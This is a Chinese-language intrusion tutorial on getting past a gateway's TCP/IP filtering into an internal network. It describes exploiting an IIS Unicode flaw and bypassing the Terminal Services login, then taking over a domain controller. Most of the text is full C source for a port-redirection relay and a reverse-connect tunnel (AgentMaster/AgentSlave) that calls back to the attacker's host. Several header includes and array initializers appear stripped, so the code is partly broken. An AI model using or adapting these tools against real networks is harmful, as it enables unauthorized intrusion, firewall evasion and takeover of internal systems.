怎樣突破TCP-IP過濾防火墻進(jìn)入內(nèi)網(wǎng)
怎樣突破TCP-IP過濾防火墻進(jìn)入內(nèi)網(wǎng)
現(xiàn)在很多企業(yè)或者公司基本上網(wǎng)方式基本上都是申請一條連接到Internet的線路,寬帶、DDN、ADSL、ISDN等等,然后用一臺(tái)服務(wù)器做網(wǎng)關(guān),服務(wù)器兩塊網(wǎng)卡,一塊是連接到Internet,另一塊是連接到內(nèi)網(wǎng)的HUB或者交換機(jī),然后內(nèi)網(wǎng)的其他機(jī)器就可以通過網(wǎng)關(guān)連接到Internet。
也許有些人會(huì)這樣想,我在內(nèi)網(wǎng)之中,我們之間沒有直接的連接,你沒有辦法攻擊我。事實(shí)并非如此,在內(nèi)網(wǎng)的機(jī)器同樣可能遭受到來自Internet的攻擊,當(dāng)然前提是攻擊者已經(jīng)取得網(wǎng)關(guān)服務(wù)器的某些權(quán)限,呵呵,這是不是廢話?其實(shí),Internet上很多做網(wǎng)關(guān)的服務(wù)器并未經(jīng)過嚴(yán)格的安全配置,要獲取權(quán)限也不是想象中的那么難。
Ok!廢話就不說了,切入正題。我們的目標(biāo)是用我們的TermClient[M$終端服務(wù)客戶端]連接到敵人內(nèi)網(wǎng)的TermServer機(jī)器。M$的終端服務(wù)是一個(gè)很好的遠(yuǎn)程管理工具,不是嗎?呵呵。沒有做特別說明的話,文中提到的服務(wù)器OS都為windows 2000。服務(wù)器為Linux或其他的話,原理也差不多,把程序稍微修改就行了。
第一部分:利用TCP socket數(shù)據(jù)轉(zhuǎn)發(fā)進(jìn)入沒有防火墻保護(hù)的內(nèi)網(wǎng)
假設(shè)敵人網(wǎng)絡(luò)拓?fù)淙缦聢D所示,沒有安裝防火墻或在網(wǎng)關(guān)服務(wù)器上做TCP/IP限制。
我們的目標(biāo)是連接上敵人內(nèi)網(wǎng)的Terminal
Server[192.168.1.3],因?yàn)闆]有辦法直接和他建立連接,那么只有先從它的網(wǎng)關(guān)服務(wù)器上下手了。假如敵人網(wǎng)關(guān)服務(wù)器是M$的windows 2k,IIS有Unicode漏洞[現(xiàn)在要找些有漏洞的機(jī)器太容易了,但我只是scripts kid,只會(huì)利用現(xiàn)成的漏洞做些簡單的攻擊:(555),那么我們就得到一個(gè)網(wǎng)關(guān)的shell了,我們可以在那上面運(yùn)行我們的程序,雖然權(quán)限很低,但也可以做很多事情了。Ok!讓我們來寫一個(gè)做TCP socket數(shù)據(jù)轉(zhuǎn)發(fā)的小程序,讓敵人的網(wǎng)關(guān)服務(wù)器忠實(shí)的為我[202.1.1.1]和敵人內(nèi)網(wǎng)的TermServer[192.168.1.3]之間轉(zhuǎn)發(fā)數(shù)據(jù)。題外話:實(shí)際入侵過程是先取得網(wǎng)關(guān)服務(wù)器的權(quán)限,然后用他做跳板,進(jìn)一步摸清它的內(nèi)部網(wǎng)絡(luò)拓?fù)浣Y(jié)構(gòu),再做進(jìn)一步的入侵,現(xiàn)在敵人的網(wǎng)絡(luò)拓?fù)涫俏覀兘o他設(shè)計(jì)的,哈哈。
攻擊流程如下:
<1>在網(wǎng)關(guān)服務(wù)器202.2.2.2運(yùn)行我們的程序AgentGateWay,他監(jiān)聽TCP 3389端口[改成別的,那我們就要相應(yīng)的修改TermClient了]等待我們?nèi)ミB接。
<2>我們202.1.1.1用TermClient連接到202.2.2.2:3389。
<3>202.2.2.2.接受202.1.1.1的連接,然后再建立一個(gè)TCP socket連接到自己內(nèi)網(wǎng)的TermServer[192.168.1.3]
<4>這樣我們和敵人內(nèi)網(wǎng)的TermServer之間的數(shù)據(jù)通道就建好了,接下來網(wǎng)關(guān)就忠實(shí)的為我們轉(zhuǎn)發(fā)數(shù)據(jù)啦。當(dāng)我們連接到202.2.2.2:3389的時(shí)候,其實(shí)出來的界面是敵人內(nèi)網(wǎng)的192.168.1.3,感覺怎么樣?:)
程序代碼如下:
/**********************************************************************
Module Name:AgentGateWay.c
Date:2001/4/15
CopyRight(c) eyas
說明:端口重定向工具,在網(wǎng)關(guān)上運(yùn)行,把端口重定向到內(nèi)網(wǎng)的IP、PORT,
就可以進(jìn)入內(nèi)網(wǎng)了
sock[0]==>sClient sock[1]==>sTarget
**********************************************************************/
#include
#include
#include "TCPDataRedird.c"
#define TargetIP TEXT("192.168.1.3")
#define TargetPort (int)3389
#define ListenPort (int)3389//監(jiān)聽端口
#pragma comment(lib,"ws2_32.lib")
int main()
{
WSADATA wsd;
SOCKET sListen=INVALID_SOCKET,//本機(jī)監(jiān)聽的socket
sock[2];
struct sockaddr_in Local,Client,Target;
int iAddrSize;
HANDLE hThreadC2T=NULL,//C2T=ClientToTarget
hThreadT2C=NULL;//T2C=TargetToClient
DWORD dwThreadID;
__try
{
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
printf("\nWSAStartup() failed:%d",GetLastError());
__leave;
}
sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sListen==INVALID_SOCKET)
{
printf("\nsocket() failed:%d",GetLastError());
__leave;
}
Local.sin_addr.s_addr=htonl(INADDR_ANY);
Local.sin_family=AF_INET;
Local.sin_port=htons(ListenPort);
Target.sin_family=AF_INET;
Target.sin_addr.s_addr=inet_addr(TargetIP);
Target.sin_port=htons(TargetPort);
if(bind(sListen,(struct sockaddr
*)&Local,sizeof(Local))==SOCKET_ERROR)
{
printf("\nbind() failed:%d",GetLastError());
__leave;
}
if(listen(sListen,1)==SOCKET_ERROR)
{
printf("\nlisten() failed:%d",GetLastError());
__leave;
}
//scoket循環(huán)
while(1)
{
printf("\n\n*************Waiting Client Connect
to**************\n\n");
iAddrSize=sizeof(Client);
//get socket sClient
sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize);
if(sock[0]==INVALID_SOCKET)
{
printf("\naccept() failed:%d",GetLastError());
break;
}
printf("\nAccept client==>%s:%d",inet_ntoa(Client.sin_addr),
ntohs(Client.sin_port));
//create socket sTarget
sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock[1]==INVALID_SOCKET)
{
printf("\nsocket() failed:%d",GetLastError());
__leave;
}
//connect to target port
if(connect(sock[1],(struct sockaddr
*)&Target,sizeof(Target))==SOCKET_ERROR)
{
printf("\nconnect() failed:%d",GetLastError());
__leave;
}
printf("\nconnect to target 3389 success!");
//創(chuàng)建兩個(gè)線程進(jìn)行數(shù)據(jù)轉(zhuǎn)發(fā)
hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
//等待兩個(gè)線程結(jié)束
WaitForSingleObject(hThreadC2T,INFINITE);
WaitForSingleObject(hThreadT2C,INFINITE);
CloseHandle(hThreadC2T);
CloseHandle(hThreadT2C);
closesocket(sock[1]);
closesocket(sock[0]);
printf("\n\n*****************Connection
Close*******************\n\n");
}//end of sock外循環(huán)
}//end of try
__finally
{
if(sListen!=INVALID_SOCKET) closesocket(sListen);
if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
WSACleanup();
}
return 0;
}
/*************************************************************************
Module:TCPDataRedird.c
Date:2001/4/16
CopyRight(c) eyas
HomePage:www.patching.net
Thanks to shotgun
說明:TCP socket數(shù)據(jù)轉(zhuǎn)發(fā),sock[0]==>sClient sock[1]==>sTarget
*************************************************************************/
#define BuffSize 20*1024 //緩沖區(qū)大小20k
//此函數(shù)負(fù)責(zé)從Client讀取數(shù)據(jù),然后轉(zhuǎn)發(fā)給Target
DWORD WINAPI TCPDataC2T(SOCKET* sock)
{
int iRet,
ret=-1,//select 返回值
iLeft,
idx,
iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize
char szSendToTargetBuff[BuffSize]=,
szRecvFromClientBuff[BuffSize]=;
fd_set fdread,fdwrite;
printf("\n\n*****************Connection
Active*******************\n\n");
while(1)
{
FD_ZERO(&fdread);
FD_ZERO(&fdwrite);
FD_SET(sock[0],&fdread);
FD_SET(sock[1],&fdwrite);
if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)
{
printf("\nselect() failed:%d",GetLastError());
break;
}
//printf("\nselect() return value ret=%d",ret);
if(ret>0)
{
//sClinet可讀,client有數(shù)據(jù)要發(fā)送過來
if(FD_ISSET(sock[0],&fdread))
{
//接收sock[0]發(fā)送來的數(shù)據(jù)
iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0);
if(iRet==SOCKET_ERROR)
{
printf("\nrecv() from sock[0] failed:%d",GetLastError());
break;
}
else if(iRet==0)
break;
printf("\nrecv %d bytes from sClinet.",iRet);
//把從client接收到的數(shù)據(jù)存添加到發(fā)往target的緩沖區(qū)
memcpy(szSendToTargetBuff+iSTTBCS,szRecvFromClientBuff,iRet);
//刷新發(fā)往target的數(shù)據(jù)緩沖區(qū)當(dāng)前buff大小
iSTTBCS+=iRet;
//清空接收client數(shù)據(jù)的緩沖區(qū)
memset(szRecvFromClientBuff,0,BuffSize);
}
//sTarget可寫,把從client接收到的數(shù)據(jù)發(fā)送到target
if(FD_ISSET(sock[1],&fdwrite))
{
//轉(zhuǎn)發(fā)數(shù)據(jù)到target的3389端口
iLeft=iSTTBCS;
idx=0;
while(iLeft>0)
{
iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0);
if(iRet==SOCKET_ERROR)
{
printf("\nsend() to target failed:%d",GetLastError());
break;
}
printf("\nsend %d bytes to target",iRet);
iLeft-=iRet;
idx+=iRet;
}
//清空緩沖區(qū)
memset(szSendToTargetBuff,0,BuffSize);
//重置發(fā)往target的數(shù)據(jù)緩沖區(qū)當(dāng)前buff大小
iSTTBCS=0;
}
}//end of select ret
Sleep(1);
}//end of data send & recv循環(huán)
return 0;
}
//此函數(shù)負(fù)責(zé)從target讀取數(shù)據(jù),然后發(fā)送給client
DWORD WINAPI TCPDataT2C(SOCKET* sock)
{
int iRet,
ret=-1,//select 返回值
iLeft,
idx,
iSTCBCS=0;//STCBCS=SendToClientBuffCurrentSize
char szRecvFromTargetBuff[BuffSize]=,
szSendToClientBuff[BuffSize]=;
fd_set fdread,fdwrite;
while(1)
{
FD_ZERO(&fdread);
FD_ZERO(&fdwrite);
FD_SET(sock[0],&fdwrite);
FD_SET(sock[1],&fdread);
if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)
{
printf("\nselect() failed:%d",GetLastError());
break;
}
if(ret>0)
{
//sTarget可讀,從target接收數(shù)據(jù)
if(FD_ISSET(sock[1],&fdread))
{
//接收target返回?cái)?shù)據(jù)
iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0);
if(iRet==SOCKET_ERROR)
{
printf("\nrecv() from target failed:%d",GetLastError());
break;
}
else if(iRet==0)
break;
printf("\nrecv %d bytes from target",iRet);
//把從target接收到的數(shù)據(jù)添加到發(fā)送到client的緩沖區(qū)
memcpy(szSendToClientBuff+iSTCBCS,szRecvFromTargetBuff,iRet);
//清空接收target返回?cái)?shù)據(jù)緩沖區(qū)
memset(szRecvFromTargetBuff,0,BuffSize);
//刷新發(fā)送到client的數(shù)據(jù)緩沖區(qū)當(dāng)前大小
iSTCBCS+=iRet;
}
//client可寫,發(fā)送target返回?cái)?shù)據(jù)到client
if(FD_ISSET(sock[0],&fdwrite))
{
//發(fā)送target返回?cái)?shù)據(jù)到client
iLeft=iSTCBCS;
idx=0;
while(iLeft>0)
{
iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0);
if(iRet==SOCKET_ERROR)
{
printf("\nsend() to Client failed:%d",GetLastError());
break;
}
printf("\nsend %d bytes to Client",iRet);
iLeft-=iRet;
idx+=iRet;
}
//清空緩沖區(qū)
memset(szSendToClientBuff,0,BuffSize);
iSTCBCS=0;
}
}//end of select ret
Sleep(1);
}//end of while
return 0;
}
利用TCP socket轉(zhuǎn)發(fā)和反彈TCP端口進(jìn)入有防火墻保護(hù)的內(nèi)網(wǎng)
事實(shí)上很多內(nèi)網(wǎng)沒有第一部分所說的那么簡單啦,我們來看一個(gè)有防火墻保護(hù)的內(nèi)網(wǎng),前提是這個(gè)防火墻對反彈TCP端口不做限制,限制了的話,又另當(dāng)別論了。假設(shè)網(wǎng)絡(luò)拓?fù)淙缦拢?/p>
上面的網(wǎng)絡(luò)拓?fù)涫俏以谝淮螌ε笥压揪W(wǎng)站授權(quán)入侵過程中遇到的。
〈1〉我自己處于公司內(nèi)網(wǎng)192.168.0.2,通過公司網(wǎng)關(guān)202.1.1.1到Internet,但我是網(wǎng)關(guān)的admin:)。
〈2〉敵人[其實(shí)是friend啦]的網(wǎng)關(guān)OS是2k adv
server,在外網(wǎng)網(wǎng)卡上做了TCP/IP限制,只開放了25,53,80,110,3306這幾個(gè)TCP PORT,通過一個(gè)漏洞,我得到了一個(gè)shell,可以通過IE來執(zhí)行系統(tǒng)命令,雖然權(quán)限很低。網(wǎng)關(guān)有終端服務(wù),登陸驗(yàn)證漏洞補(bǔ)丁未安裝,但輸入法幫助文件已經(jīng)被刪除了,但是我們可以通過shell把輸入法幫助文件upload上去,因?yàn)樗南到y(tǒng)權(quán)限沒有設(shè)置好,我們可以寫,呵呵。這樣的話,我們只要能夠連接到他的終端服務(wù)上去,我們就能繞過登陸驗(yàn)證,得到admin權(quán)限了。如何連接?有辦法,用TCP socket轉(zhuǎn)發(fā)。和第一部分說的一樣嗎?有些不同。因?yàn)樗隽薚CP/IP限制,我們不能連接他,只能讓他來連接我們了,TCP反彈端口,呵呵。
攻擊流程如下:
〈1〉在我的服務(wù)器202.1.1.1運(yùn)行AgentMaster,監(jiān)聽TCP PORT 12345,等待202.2.2.2來連接,監(jiān)聽TCP PORT 3389,等待我192.168.0.2連接。
〈2〉在敵人網(wǎng)關(guān)機(jī)器202.2.2.2運(yùn)行AgentSlave,連接到202.1.1.1 TCP PORT 12345[注意:是反彈端口,TCP/IP過濾也拿他沒辦法]
〈3〉我自己192.168.0.2用TermClient連接到自己的服務(wù)器202.1.1.1:3389
〈4〉敵人網(wǎng)關(guān)上的AgentSlave連接到自己本身在內(nèi)網(wǎng)的IP==〉192.168.1.1:3389
〈5〉數(shù)據(jù)通道就建立好啦。兩個(gè)代理忠實(shí)的為我們轉(zhuǎn)發(fā)數(shù)據(jù),呵呵。當(dāng)我們連接自己服務(wù)器的3389,其實(shí)出來的是敵人內(nèi)網(wǎng)的某臺(tái)機(jī)器,呵呵。
后來發(fā)現(xiàn)敵人的主域控制器是192.168.1.4,通過前面與他網(wǎng)關(guān)建立的連接,利用一個(gè)漏洞輕易的取得主域的admin權(quán)限,呵呵。他可能認(rèn)為主域在內(nèi)網(wǎng),網(wǎng)關(guān)又做了TCP/IP過濾,攻擊者沒有辦法進(jìn)入。我只要把AgentSlave設(shè)置為連接192.168.1.4:3389,以后就可以直接連接他的主域控制器啦,不過在網(wǎng)關(guān)登陸也一樣。
程序代碼如下[程序中所用到的TCPDataRedird.c已經(jīng)貼在第一部分,那個(gè)文件做數(shù)據(jù)轉(zhuǎn)發(fā),通用的:
/******************************************************************************
Module Name:AgentMaster.c
Date:2001/4/16
CopyRight(c) eyas
說明:scoket代理主控端,負(fù)責(zé)監(jiān)聽兩個(gè)TCP socket,等待攻擊者和AgentSlave來連接,兩個(gè)
scoket都連接成功后,開始轉(zhuǎn)發(fā)數(shù)據(jù)
sock[0]是client==〉sock[0] sock[1]是target==〉sock[1]
******************************************************************************/
#include 〈stdio.h〉
#include 〈winsock2.h〉
#include "TCPDataRedird.c"
#pragma comment(lib,"ws2_32.lib")
#define TargetPort 3389//偽裝的target的監(jiān)聽端口
#define LocalPort 12345//等待AgentSlave來connect的端口
int main()
{
WSADATA wsd;
SOCKET s3389=INVALID_SOCKET,//本機(jī)監(jiān)聽的socket,等待攻擊者連接
s1981=INVALID_SOCKET,//監(jiān)聽的socket,等待AgentSlave來連接
sock[2]=;
struct sockaddr_in Local3389,Local1981,Attack,Slave;
int iAddrSize;
HANDLE hThreadC2T=NULL,//C2T=ClientToTarget
hThreadT2C=NULL;//T2C=TargetToClient
DWORD dwThreadID;
__try
{
//load winsock library
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
printf("\nWSAStartup() failed:%d",GetLastError());
__leave;
}
//create socket
s3389=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(s3389==INVALID_SOCKET)
{
printf("\nsocket() failed:%d",GetLastError());
__leave;
}
//create socket
s1981=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(s1981==INVALID_SOCKET)
{
printf("\nsocket() failed:%d",GetLastError());
__leave;
}
//fill the struct
Local3389.sin_addr.s_addr=htonl(INADDR_ANY);
Local3389.sin_family=AF_INET;
Local3389.sin_port=htons(TargetPort);
Local1981.sin_addr.s_addr=htonl(INADDR_ANY);
Local1981.sin_family=AF_INET;
Local1981.sin_port=htons(LocalPort);
//bind s3389 for attacker
if(bind(s3389,(struct sockaddr
*)&Local3389,sizeof(Local3389))==SOCKET_ERROR)
{
printf("\nbind() failed:%d",GetLastError());
__leave;
}
//listen for attacker to connect
if(listen(s3389,1)==SOCKET_ERROR)
{
printf("\nlisten() failed:%d",GetLastError());
__leave;
}
//bind s1981 for AgentSlave
if(bind(s1981,(struct sockaddr
*)&Local1981,sizeof(Local1981))==SOCKET_ERROR)
{
printf("\nbind() failed:%d",GetLastError());
__leave;
}
//listen for AgentSlave to connect
if(listen(s1981,1)==SOCKET_ERROR)
{
printf("\nlisten() failed:%d",GetLastError());
__leave;
}
//socket循環(huán)
while(1)
{
//wait for AgentSlave to connect
iAddrSize=sizeof(Slave);
sock[1]=accept(s1981,(struct sockaddr *)&Slave,&iAddrSize);
if(sock[1]==INVALID_SOCKET)
{
printf("\naccept() failed:%d",GetLastError());
break;
}
printf("\nAccept AgentSlave==〉%s:%d",inet_ntoa(Slave.sin_addr),
ntohs(Slave.sin_port));
//wait for Attacker to connect
iAddrSize=sizeof(Attack);
sock[0]=accept(s3389,(struct sockaddr *)&Attack,&iAddrSize);
if(sock[0]==INVALID_SOCKET)
{
printf("\naccept() failed:%d",GetLastError());
break;
}
printf("\nAccept Attacker==〉%s:%d",inet_ntoa(Attack.sin_addr),
ntohs(Attack.sin_port));
//創(chuàng)建兩個(gè)線程進(jìn)行數(shù)據(jù)轉(zhuǎn)發(fā)
hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
//等待兩個(gè)線程結(jié)束
WaitForSingleObject(hThreadC2T,INFINITE);
CloseHandle(hThreadC2T);
CloseHandle(hThreadT2C);
closesocket(sock[0]);
closesocket(sock[1]);
}//end of socket while
}//end of try
__finally
{
//clean all
if(s3389!=INVALID_SOCKET) closesocket(s3389);
if(s1981!=INVALID_SOCKET) closesocket(s1981);
if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
WSACleanup();
}
return 0;
}
/***********************************************************************************
Module:AgentSlave.c
Date:2001/4/17
Copyright(c)eyas
HomePage:www.patching.net
說明:這個(gè)程序負(fù)責(zé)連接最終目標(biāo),連接主控端,然后轉(zhuǎn)發(fā)數(shù)據(jù)
這里連接到AgenrMaster的socket相當(dāng)與sClient==〉sock[0],
連接到最終目標(biāo)的socoket是sTarget==〉sock[1]
***********************************************************************************/
#include 〈stdio.h〉
#include 〈winsock2.h〉
#include "TCPDataRedird.c"
#pragma comment(lib,"ws2_32.lib")
#define TargetIP "192.168.1.3"
#define TargetPort (int)3389
#define AgentMasterIP "202.1.1.1"
#define AgentMasterPort (int)12345
int main()
{
WSADATA wsd;
SOCKET sock[2]=;
struct sockaddr_in Master,Target;
HANDLE hThreadC2T=NULL,//C2T=ClientToTarget
hThreadT2C=NULL;//T2C=TargetToClient
DWORD dwThreadID;
__try
{
//load winsock library
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
printf("\nWSAStartup() failed:%d",GetLastError());
__leave;
}
//循環(huán)
while(1)
{
//create client socket
sock[0]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock[0]==INVALID_SOCKET)
{
printf("\nsocket() failed:%d",GetLastError());
__leave;
}
//create target socket
sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock[1]==INVALID_SOCKET)
{
printf("\nsocket() failed:%d",GetLastError());
__leave;
}
//fill struct
Target.sin_family=AF_INET;
Target.sin_addr.s_addr=inet_addr(TargetIP);
Target.sin_port=htons(TargetPort);
Master.sin_family=AF_INET;
Master.sin_addr.s_addr=inet_addr(AgentMasterIP);
Master.sin_port=htons(AgentMasterPort);
//connect to AgentMaster
if(connect(sock[0],(struct sockaddr
*)&Master,sizeof(Master))==SOCKET_ERROR)
{
//連接失敗后,等待一會(huì)兒再連
printf("\nconnect() to master failed:%d",GetLastError());
closesocket(sock[0]);
closesocket(sock[1]);
Sleep(5000);
continue;
}
printf("\nconnect to %s %d success!",AgentMasterIP,AgentMasterPort);
//connect to target
if(connect(sock[1],(struct sockaddr
*)&Target,sizeof(Target))==SOCKET_ERROR)
{
printf("\nconnect() to target failed:%d",GetLastError());
__leave;
}
printf("\nconnect to %s %d success!",TargetIP,TargetPort);
//創(chuàng)建兩個(gè)線程進(jìn)行數(shù)據(jù)轉(zhuǎn)發(fā)
hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
//等待兩個(gè)線程結(jié)束
WaitForSingleObject(hThreadC2T,INFINITE);
CloseHandle(hThreadC2T);
CloseHandle(hThreadT2C);
closesocket(sock[0]);
closesocket(sock[1]);
}//end of while
}//end of try
__finally
{
if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
WSACleanup();
}
return 0;
}